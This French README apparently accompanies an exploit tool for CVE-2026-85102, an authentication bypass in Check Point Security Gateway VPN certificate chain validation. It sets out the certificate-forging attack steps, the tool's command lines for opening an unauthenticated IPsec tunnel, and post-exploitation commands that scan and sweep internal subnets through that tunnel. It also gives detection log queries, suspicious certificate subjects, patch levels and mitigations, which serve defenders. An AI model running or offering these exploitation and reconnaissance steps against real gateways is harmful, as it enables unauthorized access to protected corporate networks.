CVE-2026-85102 — Établissement non authentifié d'un tunnel VPN Check Point

Exploite CVE-2026-85102 pour établir un tunnel VPN non authentifié sur Check Point Security Gateway en contournant la validation de la chaîne de certificats IKE.

Avis officiel Check Point : sk1000117

Vulnérabilité

CVE-2026-85102 — Contournement de la validation de la chaîne de certificats VPN

Produit : Check Point Security Gateway, Check Point Spark Firewall Versions affectées : R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (toutes EoS) Non affecté : R82.20
Composant : libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Cause racine : IsChainTrusted() appelle CanonizeChain() mais ignore sa valeur de retour. Même lorsque la canonicalisation de la chaîne échoue, la fonction renvoie TRUSTED.

Exploitation : Un attaquant peut :

1. Extraire le certificat intermédiaire ICA de la cible (port 18190 ou 443)
2. Forger un certificat feuille en utilisant le DN de l'émetteur (Issuer DN) de l'ICA
3. Corrompre la signature du certificat ICA pour déclencher l'échec de CanonizeChain()
4. La chaîne de certificats forgée est malgré tout acceptée comme fiable
5. Terminer l'authentification IKE sans identifiants valides

Structure du dépôt

CVE-2026-85102.py   # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py             # Post-exploitation helper (tunnel management, recon)

Prérequis

Exigences de la machine d'attaque

• OS : Linux (Ubuntu/Debian/Kali recommandé)
• Privilèges : root ou sudo (pour la configuration des SA IPsec du noyau)
• Python : 3.8 ou version ultérieure
• Dépendances : pip install cryptography
• Outils : openssl, iproute2 (commande ip), nc (netcat)

Exigences de la cible

• Check Point Security Gateway R81.20, R82 ou R82.10
• Pre-Bundle T24
• Lame VPN activée avec la communauté Remote Access configurée
• Au moins un nom d'utilisateur VPN connu (par ex., testuser)
• Ports UDP/500 et TCP/443 accessibles depuis l'attaquant

Utilisation

Établir le tunnel VPN

# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3

# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup

Assistant de post-exploitation

# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>

# Check tunnel status
sudo python3 cp_postex.py tunnel status

# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208

# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22

# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f  # Flush all xfrm state

Paramètres

Paramètre	Description
<target_ip>	IP de la passerelle Check Point
-u <username>	Nom d'utilisateur VPN (par défaut : testuser)
-l <local_ip>	IP locale manuelle pour les systèmes multi-interfaces
-c <cert_host>	Hôte alternatif pour l'extraction du certificat ICA
--cleanup	Supprimer la configuration du tunnel

Impact

• Vecteur d'attaque : Réseau (accessible depuis Internet)
• Complexité de l'attaque : Faible (entièrement automatisée)
• Privilèges requis : Aucun
• Interaction utilisateur : Aucune
• Impact sur la confidentialité : Élevé (accès au réseau protégé)
• Impact sur l'intégrité : Moyen (peut modifier le trafic via le tunnel)
• Impact sur la disponibilité : Faible
• CVSS 3.1 : 9.8 (Critique)

Détection

Examinez les journaux pour détecter des connexions Mobile Access anormales basées sur certificat. Dans SmartConsole/Spark Management, accédez à Logs & Monitor / Logs & Events et recherchez les événements postérieurs au 12 septembre 2026 :

product: "Mobile Access" AND action: "Log In" AND "Certificate"

Inspectez les événements pour les utilisateurs, clients ou adresses IP sources non reconnus.

Sujets de certificat suspects observés :

• CN=vpn,OU=users,O=global
• CN=vpn-user,OU=users,O=global
• CN=vpnuser,OU=users,O=global

Remédiation

Options de correction pour CVE-2026-85102

Option 1 : Check Point LivePatch (recommandé)

Installez LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE) :

• R82.10 : Take 26
• R82 : Take 26
• R81.20 : Take 26

Validez l'installation :

# Check LivePatch status
cplp list

# Expected output includes:
# cpcert:cpca*    CVE-2026-85102 CVE-2026-85103
# cpcert:iked*    CVE-2026-85102 CVE-2026-85103
# cpcert:vpn*     CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad*  CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103

Option 2 : Jumbo Hotfix Accumulator

• R82.10 : Take 44 ou ultérieur
• R82 : Take 126 ou ultérieur
• R81.20 : Take 166 ou ultérieur
• R81.10 : Take 190 ou ultérieur

Pare-feu Spark

• Spark R82.00.10 : Build 2325 ou ultérieur
• Spark R81.10.17 : Build 4968 ou ultérieur

Détails du correctif (CVE-2026-85102)

Le correctif modifie libcpcert.so :

// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
    trusted_ca = NULL;
}
return trusted_ca;

// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;

Atténuations (si le correctif ne peut être appliqué)

Pour le VPN site à site

Désactivez les règles VPN implicites et définissez manuellement l'accès VPN pour UDP/500 et UDP/4500 pour des adresses IP de pairs spécifiques. Voir sk179346.

Pour le VPN d'accès à distance

Désactivez les règles implicites du VPN d'accès à distance. Créez des règles de contrôle d'accès explicites autorisant les services VPN d'accès à distance requis vers la passerelle de sécurité :

• UDP/500 (IKE), UDP/4500 (NAT-T), TCP/443 (SSL), TCP/80 (le cas échéant)
• Spécifiez les plages d'adresses IP sources pour les clients d'accès à distance le cas échéant

Remarque : Ces atténuations ne s'appliquent pas aux pare-feu Spark gérés localement.

Recommandations générales

• Limitez l'exposition du service VPN aux réseaux de confiance
• Surveillez les journaux de session VPN pour détecter les connexions anormales
• Mettez en place une segmentation réseau entre les clients VPN et les interfaces de gestion

Références

• Avis Check Point : sk1000117
• CVE-2026-85102 : NVD
• RFC 5996 : Spécification du protocole IKEv2

Licence

Ce code d'exploitation est fourni à des fins de recherche et de test en sécurité. Utilisez-le sur vos propres systèmes ou avec l'autorisation explicite du propriétaire du système.